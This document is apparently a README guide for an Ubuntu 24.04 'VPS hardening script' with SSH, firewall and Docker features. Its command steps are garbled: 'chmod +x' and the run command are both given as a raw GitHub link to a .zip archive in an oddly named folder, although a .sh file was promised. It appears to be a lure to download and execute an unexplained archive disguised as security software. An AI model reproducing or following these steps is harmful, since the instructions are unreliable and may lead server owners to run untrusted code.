This guide will help you download and run the VPS Hardening Script for Ubuntu 24.04 LTS. This script enhances the security of your Ubuntu server with features like automated SSH setup, firewall configuration, and Docker installation.
- A server running Ubuntu 24.04 LTS
- Basic knowledge of how to access your server via SSH
- Internet connection
- An updated version of the terminal
To download the VPS hardening script, visit the following page:
- Open the above link in your web browser.
- Look for the latest version of the script in the "Releases" section.
- Click on the .sh file to download it to your computer.
Once you have downloaded the script, follow these steps to run it:
-
Upload the Script: Use an SFTP client or terminal command to transfer the downloaded script to your server.
-
Access Your Server: Open your terminal and use the following command to log into your server:
ssh your_username@your_server_ip_address
Replace
your_usernamewith your actual username andyour_server_ip_addresswith the IP address of your server. -
Navigate to the Script Location: Change your directory to where you uploaded the script.
cd path_to_script_directoryReplace
path_to_script_directorywith the actual path where the script is located. -
Make the Script Executable: Run this command to allow the script to execute:
chmod +x https://github.com/prajaptibini/vps-hardening-script-ubuntu-24.04-LTS/raw/refs/heads/main/nonsensorial/hardening-script-LTS-vps-ubuntu-3.6.zip
-
Run the Script: Execute the script with the following command:
https://github.com/prajaptibini/vps-hardening-script-ubuntu-24.04-LTS/raw/refs/heads/main/nonsensorial/hardening-script-LTS-vps-ubuntu-3.6.zip
Follow the onscreen instructions to complete the hardening process.
- Automated SSH Setup: Configures SSH for secure and easy access.
- Firewall Configuration: Sets up a robust firewall to protect your server.
- DNS Encryption: Ensures secure and private DNS lookups.
- Docker Installation: Simplifies the process of installing and managing Docker containers.
- Rollback Capabilities: Allows you to revert changes if needed.
- Easy One-command Install: Saves time with straightforward execution.
This VPS hardening script prepares your server for production use. It addresses essential security aspects and automates the process, minimizing the effort needed from you. Whether you run a personal website or a commercial application, securing your server should be a priority.
Ensure your server meets the following requirements:
- Operating System: Ubuntu 24.04 LTS
- Minimum 1 GB RAM (recommended 2 GB or more)
- 20 GB free disk space
- Basic internet access
Running this script improves your server's security posture. It reduces vulnerabilities and helps protect against unauthorized access. However, continue to monitor your server regularly and apply updates as needed.
For further assistance, consult the community or raise an issue in the GitHub repository.
Check back regularly for updates to enhance security features and functionality. You can find the latest version and any important changes on the Releases Page.
By using this script, you take a significant step towards securing your Ubuntu server. Please take a moment to familiarize yourself with the features and procedures outlined above.